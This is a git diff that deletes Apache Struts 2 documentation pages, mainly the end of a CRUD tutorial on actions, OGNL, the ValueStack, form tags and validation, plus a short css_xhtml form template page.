-<p>We define two actions in our example using the same Action class, EmployeeAction. One is registered with the name 'index', and will be used for the index page, while the other one, 'crud' will be used to execute the various create/read/update/delete actions. You also note they list different method attributes: one will execute, by default, the list method while our crud action goes with the input method. See <a shape="rect" href="action-configuration.html">Action Configuration</a> for [...]
-
-<p>Results define what happens after an action executes. Each Action execution returns a String result which is used to select from the list of configured result elements.</p>
-
-<p>For our index action, we don't require any input, we will assume nothing goes wrong, so we only list the success result (Note: you can register global results as well). This result uses, under the hood, the default DispatcherResult result-type to dispatch the request to an employees.jsp file. Also note the fact that since we didn't need the full stack (no validation, fileupload, preparing, or other funky things), we prefer to use the basic interceptor stack for this request. </p>
-
-<p>It gets more interesting for our crud Action: besides the success result, we also specify the input result (which dispatches to our input form) and the error result (which is returned when an exception is thrown during the Action execution - for example a database exception). You can also see we specified a different result-type for our success result, in case the 'redirect-action'. This is nothing more than a fancy redirect which will append the chosen S2 suffix, so we could have als [...]
-
-<p>See <a shape="rect" href="result-configuration.html">Result Configuration</a> for further details.</p>
-
-<h4 id="CRUDDemoI-WEB-INF/classes/struts.properties">WEB-INF/classes/struts.properties</h4>
-
-<p>This file only contains two lines, and is used to set Struts 2 specific settings (such as which IoC container to use, which fileuploader, what templates, etc ..). You don't really need it, but for i18n reasons, we use it to register our resource bundle 'guest.properties'. Note that you can register properties file on different levels in Struts 2.</p>
-
-<plain-text-body>
-struts.custom.i18n.resources=guest
-</plain-text-body>
-
-<p>More information on <a shape="rect" href="strutsproperties.html">struts.properties</a></p>
-
-<rich-text-body>
-<p>It is recommended that configuration be handled with your <a shape="rect" href="strutsxml.html">struts.xml</a> file: see <a shape="rect" href="constant-configuration.html">Constant Configuration</a> for details.</p></rich-text-body>
-
-<h4 id="CRUDDemoI-WEB-INF/classes/guest.properties">WEB-INF/classes/guest.properties</h4>
-
-<p>This guest.properties file will contain the keys and values to internationalize your webapplication in a straightforward way. Rather than hardcoding Welcome ! in your page, you should use specify a key (eg. 'welcome_msg') with a certain value ('Welcome !'). By adding new resource bundles, you can override the key and specify a different value (eg. 'Bienvenue !' for a french Locale).</p>
-
-<h3 id="CRUDDemoI-Thecode">The code</h3>
-
-<p>Since 90% of the code is identical to the other CRUD examples displayed on <a shape="rect" class="external-link" href="http://www.learntechnology.net" rel="nofollow">this site</a>, we'll only analyze the Action class, EmployeeAction.<br clear="none">
-As always, first things first - the class definition:</p>
-
-<plain-text-body>
-...
-import com.opensymphony.xwork2.ActionSupport;
-import com.opensymphony.xwork2.Preparable;
-...
-
-public class EmployeeAction extends ActionSupport implements Preparable {
-	...
-</plain-text-body>
-
-<p>Now, first there is the extending of the ActionSupport class - although you don't have to extend it, it provides a lot of useful extras, so you are encouraged to extend and override parts of it, but you don't have to. The interface we are implementing is a bit more interesting. The Preparable interface only defines one method, public void prepare(). By implementing this interface in your Action, you tell the prepare interceptor to call this method on your Action - so that makes it per [...]
-
-<p>There are quite some different interfaces that you can implement that will be used by interceptors (SessionAware, ServletRequestAware, ..), but you need to be sure the interceptors are listed in your interceptor stack, or the interceptor won't be executed on your action.</p>
-
-<p>Besides the prepare() method we just explained, our Action also contains the doInput(), doSave(), doList() and doDelete() methods. Remember how we specified the method attribute in the struts.xml file ? Well, these are the methods that are going to be executed. Technically, you could have defined input(), save(), list() and delete() as well, but S2 will automagically find the correct method. Originally, this was because often a default() method is declared - but since default is a res [...]
-
-<p>Let's explore the doList method, which is the default method we specified in our struts.xml for our index action.</p>
-
-<plain-text-body>
-public String doList() {
-	employees = empService.getAllEmployees();
-	return SUCCESS;
-}
-</plain-text-body>
-
-<p>Surprisingly simple, no? Simply fill in the employees object, and return "success" (defined as a final static variable SUCCESS). That's it? That's it. The only thing you need now to show the list in your view layer is a simple getter for employees in your Action. The reason for this is another Struts 2 feature: the ValueStack.</p>
-
-<h4 id="CRUDDemoI-TheValueStack:it'smagic,baby!">The ValueStack: it's magic, baby!</h4>
-
-<p>The ValueStack is like a normal stack. You can put objects on it, remove them from it, and query it. And even more, you can query it with expressions! It's the heart of Struts 2, and allows easy access to a wide range of objects from nearly any place in the framework: interceptors, results, tags, ... you name it.</p>
-
-<p>Your action is placed on top of the stack when it is executed.</p>
-
-<p>Once it's on the valueStack, you could query for it 'employees' - a special glue language called OGNL will then transform that request to 'top.getEmployees()' - and since top is the top of your stack, and your Action is located just there, it will invoke the getEmployees() method on your Action, and return the result.</p>
-
-<p>More information on <a shape="rect" href="big-picture.html">the Struts 2 architecture</a>, <a shape="rect" href="interceptors.html">Interceptors</a>, <a shape="rect" href="ognl.html">OGNL</a></p>
-
-<h3 id="CRUDDemoI-Firstview:theemployeelisting">First view: the employee listing</h3>
-
-<p>S2 defines a lot of tags that will dramatically speed up your development. They can alter or query the value stack, render input forms, javascript widgets, iterate over collection, and so on. On top of that, they have different themes, which add even more functionality/layout by the switch of a parameter. Themes are out of the scope of this example, but you should definitely check them out; see <a shape="rect" href="themes-and-templates.html">Themes and Templates</a>.</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;%@taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;head&gt;
-    &lt;link href="&lt;s:url value='/css/main.css'/&gt;" rel="stylesheet" type="text/css"/&gt;
-    &lt;title&gt;&lt;s:text name="label.employees"/&gt;&lt;/title&gt;
-&lt;/head&gt;
-</plain-text-body>
-
-<p>The <code>s:url</code> tag allows you to build urls for actions, possibly with parameters. This saves you from having to type them out manually, remember (or change) what action suffix you're using, or include the web-app context. See <a shape="rect" href="url.html">Url</a> for further details.</p>
-
-<p>The <code>s:text</code> tag will look up keys in resource bundles in the valueStack (depending on the locale). So adding a new language would be a breeze. In these cases we build an url '/css/main' and we display the value of a key 'label.employees' from our guest.properties resource bundle. See <a shape="rect" href="text.html">Text</a> for further details.</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:url id="url" action="crud!input" /&gt;
-
-&lt;a href="&lt;s:property value="#url"/&gt;"&gt;Add New Employee&lt;/a&gt;
-</plain-text-body>
-
-<p>Here we use <code>s:url</code> to generate a URL and assign it to an ID so we can refer to it later.</p>
-
-<p>The <code>s:property</code> tag provides access to objects on the OGNL value stack. Our object, <code>url</code>, may be accessed using the <code>#</code> character: non-root objects on the value stack need the <code>#</code> character. See <a shape="rect" href="ognl.html">OGNL</a> for further details.</p>
-
-<h4 id="CRUDDemoI-TheActionMapper">The ActionMapper</h4>
-
-<p>The S2 ActionMapper doesn't just map names to Actions - it can also change the method, or even action, by using special requests. The weird value we encountered above, crud!input, tells the ActionMapper to invoke the input()/doInput() method of the Action known as crud. So for example, you could have several slighly different methods, and rather than having to register each of them in the struts.xml file, you can use the ! notation to specify which method to execute.</p>
-
-<rich-text-body>
-<p>You may also use <a shape="rect" href="wildcard-mappings.html">Wildcard Mappings</a> to run specific methods rather than use the ! character.</p></rich-text-body>
-
-<p>Another thing is the fact that you can override which action/method to invoke based on a special name:action parameter, which we'll use later on in our employeeForm.jsp to make a nice cancel button.</p>
-
-<p>More information on the <a shape="rect" href="actionmapper.html">ActionMapper</a></p>
-
-<h4 id="CRUDDemoI-Moretags:s:iterator,s:if/else,ands:property">More tags: s:iterator, s:if/else, and s:property</h4>
-
-<p>Take a look at the following lines from our employees.jsp:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:iterator value="employees" status="status"&gt;
-    &lt;tr class="&lt;s:if test="#status.even"&gt;even&lt;/s:if&gt;&lt;s:else&gt;odd&lt;/s:else&gt;"&gt;
-</plain-text-body>
-
-<p>The <code>s:iterator</code> tag does pretty much what you expect from it: it loops through an array/list/collection, and pushes each object it encounters on the stack on each iteration. It also has a helper attribute called <code>status</code>, which generates a status object that keep track of the index, tells you if you're in an even or odd row, and so on, while you're inside the <code>s:iterator</code> tag. See <a shape="rect" href="iterator.html">iterator</a> for further details.</p>
-
-<p>As you can see, we use that same status object in our next tag, the <code>s:if</code> and its companion, the <code>s:else</code> tag. The test attribute of <code>s:if</code> allows you to query the valueStack with an OGNL expression, which is exactly what we do here: see if the status object from our <code>s:iterator</code> tag we put on the valueStack, returns true when the method isEven() is invoked. The corresponding <code>s:else</code> method is then executed if the test method re [...]
-
-<rich-text-body>
-<p>Unlike JSTL's <code>c:choose</code>/<code>c:when</code>/<code>c:otherwise</code> tags you do not nest <code>s:if</code>/<code>s:else</code> inside a "parent" tag.</p></rich-text-body>
-
-<p>Finally, there's the <code>s:property</code> tag, which is used for displaying objects/expressions from the ValueStack. Examine this:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:property value="age" /&gt;
-</plain-text-body>
-
-<p>This might be a little confusing at first, but it's very simple. This actually translates to top.getAge(), meaning we'll execute a getAge() on the top object on our ValueStack. Which happens to be .. the Action? Nope. The employees List? Closer. The current Employee object in the employee list? Bingo.</p>
-
-<p>Why? Because we told you what the <code>s:iterator</code> tag did: it places each object on the top of the stack. Since the employees List contains Employee objects, an Employee object gets 'on top' of the stack. That's why you can simply use "age" for <code>s:property</code>'s value attribute and have the employee's age printed out.</p>
-
-<h2 id="CRUDDemoI-Adding&amp;Editinganemployee">Adding &amp; Editing an employee</h2>
-
-<p>Easy enough: return "input" from your Action, and register the result in your struts.xml with a dispatcher to employeeForm.jsp.</p>
-
-<plain-text-body>
-public String doInput() {
-    return INPUT;
-}
-</plain-text-body>
-
-<p>Nothing to it. So let's take a look at how we are going to edit an Employee.</p>
-
-<p>Editting, or better, preparing for editing, comes in many flavours. Fact is, you often need 'extra' objects, like a list of possible departments in our case, to be set up before rendering the insert or edit page. In S2, there are quite some ways to accomplish this, but two approaches are recommended:</p>
-
-<p>- Using a <code>prepare()</code> method and interceptor to setup any additional objects you need<br clear="none">
-- Using an <code>s:action</code> tag to use another action to create the objects for you - for example, a DepartmentAction could return a list of Department objects.<br clear="none">
-Here we'll show you both, but in the example application you'll only find the first one (might change, that's why we're adding it here).</p>
-
-<h4 id="CRUDDemoI-Theprepareapproach">The prepare approach</h4>
-
-<p>A little rehearsal: the prepare interceptor, when listed in your interceptor stack, will call the prepare method on our Action. We use this prepare method to set up our deparments, so the list will be available whenever our crud action is called.</p>
-
-<p>We also use this to retrieve an employee bean whenever an id is set - which is precisely how we make the difference between inserting and editing (and we use a similar method in the doSave() method in our EmployeeAction). So, visiting the crud!input action without an employee.id parameter to retrieve the employee, will result in an empty form, while passing the parameter will result in an Employee object to be retrieved for editing.</p>
-
-<p>See <a shape="rect" href="prepare-interceptor.html">Prepare interceptor</a> for further details.</p>
-
-<h4 id="CRUDDemoI-Thes:actionapproach">The s:action approach</h4>
-
-<p>The other commonly used approach is to use the s:action tag. The s:action tag allows you to execute (additional) S2 actions, which makes them perfect to generate objects for input forms, such as select boxes. You could create for example, a Department action, which does nothing more than listing an doList() method to set up a list of departments, and getter for it, called getDepartments().</p>
-
-<p>Register the DepartmentAction in your struts.xml as 'department', and you can simply call it in your page, and use the id approach we used in the s:url tag to store the result on the stack under a custom name called allDepartments:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:action name="department!list" id="allDepartments"/&gt;
-</plain-text-body>
-
-<p>Now, this, by itself, does not do much. We'll show you later when we talk about the employeeForm page how to use it as an alternative approach.</p>
-
-<p>More information on the <a shape="rect" href="action.html">s:action</a> tag</p>
-
-<h3 id="CRUDDemoI-Formsmadeeasy">Forms made easy</h3>
-
-<p>The employeeForm.jsp page is really concise. We told you about the themes that S2 uses under the cover, right? Well, those are going to be responsable for rendering our form, complete with labels for names and errors, input fields, and so on.</p>
-
-<p>But first, we find another useful tag: <code>s:set</code>.</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:if test="employee==null || employee.employeeId == null"&gt;
-    &lt;s:set name="title" value="%{'Add new employee'}"/&gt;
-&lt;/s:if&gt;
-&lt;s:else&gt;
-    &lt;s:set name="title" value="%{'Update employee'}"/&gt;
-&lt;/s:else&gt;
-</plain-text-body>
-
-<p>The set tag allows you to store certain objects on the stack (as well as their scope - request/session/page/...), which is what we're going to do here because out of sheer laziness (and performance reasons) we refuse to do the same if/else more than once. As you can guess, it relies on the same principle as the id attribute of the <code>s:url</code> tag we saw earlier, meaning I can access it with <code>#title</code> on the ValueStack.</p>
-
-<p>More information on the <a shape="rect" href="if.html">s:if</a> tag, <a shape="rect" href="else.html">s:else</a> tag</p>
-
-<h4 id="CRUDDemoI-Theactualform">The actual form</h4>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:form action="crud!save" method="post"&gt;
-    &lt;s:textfield name="employee.firstName" value="%{employee.firstName}" label="%{getText('label.firstName')}" size="40"/&gt;
-    &lt;s:textfield name="employee.lastName" value="%{employee.lastName}" label="%{getText('label.lastName')}" size="40"/&gt;
-    &lt;s:textfield name="employee.age" value="%{employee.age}" label="%{getText('label.age')}" size="20"/&gt;
-    &lt;s:select name="employee.department.departmentId" value="%{employee.department.departmentId}" list="departments" listKey="departmentId" listValue="name"/&gt;
-    &lt;s:hidden name="employee.employeeId" value="%{employee.employeeId}"/&gt;
-    &lt;s:submit value="%{getText('button.label.submit')}"/&gt;
-    &lt;s:submit value="%{getText('button.label.cancel')}" name="redirect-action:index"/&gt;
-&lt;/s:form&gt;
-</plain-text-body>
-
-<p>Wow - a lot of code at once. Let's dissect it tag by tag. It may seem complicated, but as you'll see, it's actually really easy.</p>
-
-<p>The <code>s:form</code> tag generates a standard html form, while the first <code>s:textfield</code> will generate an &lt;input type="text" .. /&gt; - but wait, it does more. It transforms your first tag from this:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:textfield name="employee.firstName" value="%{employee.firstName}" label="%{getText('label.firstName')}" size="40"/&gt;
-</plain-text-body>
-
-<p>Into this:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;tr&gt;
-    &lt;td class="tdLabel"&gt;
-        &lt;label for="crud!save_employee_firstName" class="label"&gt;First Name:&lt;/label&gt;
-    &lt;/td&gt;
-    &lt;td&gt;
-        &lt;input type="text" name="employee.firstName" size="40" value="" id="crud!save_employee_firstName"/&gt;
-    &lt;/td&gt;
-&lt;/tr&gt;
-</plain-text-body>
-
-<p>Let's analyze that <code>s:textfield</code> tag in greater detail. First thing we encounter is the name attribute, which is similar to the HTML input tag's name attribute. So it is by itself, not very special. However, as we've seen above, this allows S2 to call the getEmployee().setFirstName() method - and even, if necessary, create the Employee object for you. </p>
-
-<p>No more tens of property setters in your action - just one setter for a good ol' POJO (Plain Old Java Object), and you can call its setters right away (Note: for those who are concerned about mailicious injections, you can limit what can be set on your POJO)!</p>
-
-<p>The value attribute uses a special %{..} notation, to indicate the value is not just a string 'employee.firstName', but in fact an expression that should be looked up on the ValueStack. This will make OGNL analyze the content, and look up on the ValueStack to see if it can find a method named getEmployee(), which returns a POJO which has a getFirstName() method on it.</p>
-
-<p>Now, when such an expression returns null (since our Employee pojo is NOT initialised - we are doing an insert here, remember ?), S2 creates the Employee object for you, and its getFirstName() returns, of course, null. So, we're actually cheating here, because it will allow us to reuse that same form when we are going to edit an Employee. In that case, our getEmployee() would return an initialised object, so its getFirstName() would return a value, and thus display it in our input fie [...]
-
-<p>Ok, so %{..} indicates an expression on the ValueStack, and returns a blank if a null is returned, or the toString() value otherwise. The OGNL analyzer is pretty powerful, so you can do things like value="my_special_valentine_is_%{girlfriend.name}", %{100 * loan.tax}, or even %{new int[100]} and %{new java.util.Date()}.</p>
-
-<p>Now, we saw earlier that we could use the <code>s:text</code> tag to retrieve values from resource bundles for i18n reasons. Now that begs the question, how do we use those same values in our tags? Let's say we want to i18n'ize our textfield label. Something like this:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:textfield name="employee.firstName" value="%{employee.firstName}" label="&lt;s:text name="label.firstName"/&gt;" size="40"/&gt;
-</plain-text-body>
-
-<p>Ugh. No, that's ugly, and it wouldn't work either. The solution is much cleaner and simpler: use another expression! If you were to check the extra methods provided by making our EmployeeAction extends ActionSupport, you would see a method called getText(String key). This method will look up a value in the resource bundle by its key, which is exactly what we need. So, the label would become something like this: %{getText('our_key')}. Makes sense? Thought so.</p>
-
-<p>Meet the next tag, s:select, which renders a select box using an iteratable collection:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:select name="employee.department.departmentId" value="%{employee.department.departmentId}" list="departments" listKey="departmentId" listValue="name"/&gt;
-</plain-text-body>
-
-<rich-text-body>
-<p>  There currently is a small bug in Struts 2.0.5 that does not select the correct value by default. You can solve this by using value="%{employee.department.departmentId.toString()}".</p></rich-text-body>
-
-<p>We already covered the name attribute, so let's look at the list attribute: departments. Hmm, this might seems strange at first. Where does it come from? Well, perhaps it makes much more sense to see this: list="%{departments}". Yes, it is in fact an expression on the ValueStack that will query our action for the departments we've setup before ! Then, why are we missing the %{..} ? The answer is twofold: you can still write %{departments}, and it would work as you expected. But you ha [...]
-
-<p>Another quick intermezzo: you can use expressions to make your own list in an expression - which is perfect for small yes/no and male/female/eunuch selections - like this:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:select name="gender" list="%{#{'male':'Male', 'female':'Female'}}" /&gt;
-</plain-text-body>
-
-<p>By the way, did you remember the <code>s:action</code> tag we used as an alternative to the prepare method to fill up the select box? We can now use the action we executed and stored on the ValueStack by referencing it by its id:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:select name="gender" list="%{#allDepartments.departments}" /&gt;
-</plain-text-body>
-
-<p>So, instead of getting the departments from the current action, we used <code>s:action</code> to execute a different action that retrieves the department List. This allows you to split up, and reuse Actions (Note: you can go even further and program your own components with built-in actions, but that's out of scope).</p>
-
-<p>Let's get back to the original plan.</p>
-
-<p>Now, the listKey and listValue attributes tell <code>s:select</code> what it should use as keys and values in our select box - and what do you know, those (hidden) expressions are going to be invoked on each object it encounters in your list - in this case, getDepartmentId() and getName().</p>
-
-<p>Finally, the value attribute will tell S2 where to place the typical 'selected' attribute in our generated options, and it will print it as soon as the value expression equals the key expression. Thus, in our case, as soon as your employee.getDepartment().getDepartmentId() equals the getDepartmentId() expression on one of the Department objects in our departments List. Since we don't have an employee we're editing, the expression would return null, so no selected attribute would be pr [...]
-
-<p>Finally, the last two tags, the submission tags. Submission tags, yes. One for submitting the form, and another one to cancel it. The first submit button, submits the form to the form's action attribute, in case crud!save.</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:submit value="%{getText('button.label.submit')}"/&gt;
-&lt;s:submit value="%{getText('button.label.cancel')}" name="redirect-action:index"/&gt;
-</plain-text-body>
-
-<p>The second one is more interesting though. It also submits the form to the same crud!save action as the first one, but lists a special name attribute. This name attribute will cause the ActionMapper to intercept the call, and in this case, redirect it to another action. No more fiddling with javascript to have forms with multiple submit buttons - it's all done for you, without any javascript or the troubles that come with it.</p>
-
-<p>More information about <a shape="rect" href="themes-and-templates.html">Themes and Templates</a>, <a shape="rect" href="form-tags.html">Form Tags</a>, and <a shape="rect" href="actionmapper.html">ActionMapper</a>.</p>
-
-<h3 id="CRUDDemoI-Validation">Validation</h3>
-
-<p>Alright, so you've set up the form for adding and updating employees. This is the point where you normally start sweating, you hands start shaking and you feel slightly dizzy. Have no fear, S2 is here!</p>
-
-<p>S2 uses XWork's validation framework internally. It allows you to validate Models and Actions using a set of specialised (field)validators, grouped together in an xml file named YourModel-validation.xml or ActionName-validation (and, in the case of the alias, ActionName-alias-validation.xml). </p>
-
-<p>Since we only want to validate the crud action, we create a file EmployeeAction-crud-validation.xml and place it in our classpath (mostly next to our compiled Action class).</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;validators&gt;
-  &lt;field name="employee.firstName"&gt;
-     &lt;field-validator type="requiredstring"&gt;
-        &lt;message key="errors.required.firstname"/&gt;
-      &lt;/field-validator&gt;
-  &lt;/field&gt;
-  &lt;field name="employee.lastName"&gt;
-     &lt;field-validator type="requiredstring"&gt;
-        &lt;message key="errors.required.lastname"/&gt;
-      &lt;/field-validator&gt;
-  &lt;/field&gt;
-  &lt;field name="employee.age"&gt;
-     &lt;field-validator type="required" short-circuit="true"&gt;
-        &lt;message key="errors.required.age"/&gt;
-      &lt;/field-validator&gt;
-      &lt;field-validator type="int"&gt;
-      	&lt;param name="min"&gt;18&lt;/param&gt;
-      	&lt;param name="max"&gt;65&lt;/param&gt;
-        &lt;message key="errors.required.age.limit"/&gt;
-      &lt;/field-validator&gt;
-  &lt;/field&gt;
-&lt;/validators&gt;
-</plain-text-body>
-
-<p>A very important reminder: validation is once again done by an interceptor, so it should be in your stack. Even more important, validators 'query your Action/Model' and NOT your request! Keep this in mind at all times.</p>
-
-<p>With that out of the way, let's analyze this snippet: there are two types of validators: field validators and general validators. We start by analyzing the field employee.firstName - so this means: we will analyze the result from the invocation of getEmployee().getFirstName() on our Action, not the request parameter named employee.firstName!</p>
-
-<p>Field validators will not validate input fields - they are named field validators because they will automatically mark the input field in your form with the validation error, whereas normal validators would create actionErrors.</p>
-
-<p>First we apply a <code>requiredstring</code> validator to the getEmployee().getFirstName() return value. There are quite a few validators, ranging from requiredstring, required, intrange, emailaddress, url, .. etc. Writing your own validator is not hard, and it can be reused easily. Here we use the requiredstring, which does 2 checks:</p>
-
-<ul class="alternate"><li>check the availabilty of the string (!= null)</li><li>check the length of the string to be &gt; 0</li></ul>
-
-
-<p>Why the stringlength greater than 0? HTML forms will submit an empty string (<strong>not</strong> a null!) for an empty text input, so simply testing for null would fail if we required at least one character to be submitted.</p>
-
-<p>The employee.lastName validation is exactly the same as the firstName. The only difference is in the validation of the age property.</p>
-
-<p>We use in fact 2 validators: a 'required' one, which will make sure that our age is in fact set, and not null, and another one that will check the range to make sure our employee is between 18 and 65 years old. If course, if the first validator fails, we shouldn't continue processing, so that's why we can specify the short-circuit attribute. If a validator short-cicuits the validation, validation is failed and skips the current (field) validator.</p>
-
-<p>The "int" validator takes 2 optional parameters: min and max, who can be set by providing two simple param tags (most items in S2 can be configured that way). This way, we ensure validation to be loosely coupled with our code and do not require re-compilation.</p>
-
-<p>Of course, you should also be able to i18n'ize your error messages, so that's why we providing a &lt;message key="my_key"/&gt; - if you prefer otherwise, you can always add a hardcoded text as a child element of the message tags.</p>
-
-<p>It does not stop there. The text you pass, be it hardcoded or a looked-up value, can in fact contain OGNL expressions as well !</p>
-
-<p>Take a look at the value we get back from the 'errors.required.age.limit'-key:</p>
-
-<plain-text-body>
-errors.required.age.limit=Please provide an age between ${min} and ${max}.
-</plain-text-body>
-
-<p>And guess what: min and max are indeed the two parameters we just set before ! Using OGNL expressions you can retrieve whatever you want from your validator/action/context, giving you really nice error messages (we like nice error messages). In fact, you can not only use these expressions in your error messages, but you can even set the min and max parameters dynamically. Different types of employees could have different age requirements - OGNL and polymorphy to the rescue !</p>
-
-<p>More information about <a shape="rect" href="validation.html">Validation</a></p>
-
-<h2 id="CRUDDemoI-Conclusion">Conclusion</h2>
-
-<p>This 'quick intro' turned out a bit longer than I anticipated. We haven't even barely touched the possibilities with Struts 2 - different templates, IoC (Pico, Spring), annotations, REST-ful action mappings, components, Hibernate integration, ajax support, pdf/xml/rss/.. generation, groovy, ... More info on <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=3rd+party+integration&amp;linkCreation=true&amp;fromPageI [...]
-
-<p>When you look at the various frameworks out there, they all let you create a certain type of (web) application really, really quickly. It's only when you want to add new/different/complex things, that you discover the limitations of the framework, often meaning serious hacking to get it working. Struts 2 is different. It is no out-of-the-box framework, where you just click a few buttons to generate a blog/cms/product catalog, but it's a framework in the true spirit of the word. Its ar [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cssxhtml-form-template.html b/content/docs/cssxhtml-form-template.html
deleted file mode 100644
index 45a297f..0000000
--- a/content/docs/cssxhtml-form-template.html
+++ /dev/null
@@ -1,141 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>css_xhtml form template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="cssxhtml-theme.html">css_xhtml theme</a>&nbsp;&gt;&nbsp;<a href="cssxhtml-form-template.html">css_xhtml form temp [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">css_xhtml form template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14129">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14129">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14129">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14129">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14129">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14129">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-
-<p>The css_xhtml <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=test&amp;title=form">form</a> template is almost exactly like the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=test&amp;title=xhtml+form+template">xhtml form template</a>, including support for <a shape="rect" href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation< [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cssxhtml-head-template.html b/content/docs/cssxhtml-head-template.html
